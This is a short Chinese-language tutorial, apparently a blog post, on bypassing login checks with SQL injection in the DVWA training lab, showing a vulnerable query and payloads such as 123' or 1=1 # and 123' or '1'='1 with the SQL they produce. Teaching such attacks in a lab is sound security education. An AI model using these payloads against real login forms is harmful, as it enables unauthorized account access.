SQL 注入基礎系列2——利用 SQL 漏洞繞過登入驗證
阿新 • • 發佈:2018-12-29
DVWA->SQL Injection
//後臺sql語句
select * from users where username='$name' and password='$pwd';
當查詢到資料表中存在同時滿足 username 和 password 欄位的資料時,會返回登入成功。例如,使用者名稱為admin,密碼為123時:
//實際執行語句
select * from users where username='admin' and password='123';
- 使用註釋繞過驗證
在使用者名稱中輸入 123' or 1=1 #,密碼中同樣輸入 123' or 1=1 #
按照 Mysql 語法,# 後面的內容會被註釋掉,所以密碼也可以不填。
//示例一
SELECT first_name, last_name FROM users WHERE user_id = '123' or 1=1 #';
//示例二
select * from users where username='123' or 1=1 #' and password='123' or 1=1 #';
select * from users where username='123' or 1=1; #' and password='123' or 1=1; #';
- 不做註釋,手動閉合繞過驗證
//構造輸入 123' or '1'='1
select * from users where username='123' or '1'='1' and password='123' or '1'='1'
兩個 or 語句使 and 前後兩個判斷恆等於真,所以能夠成功登入。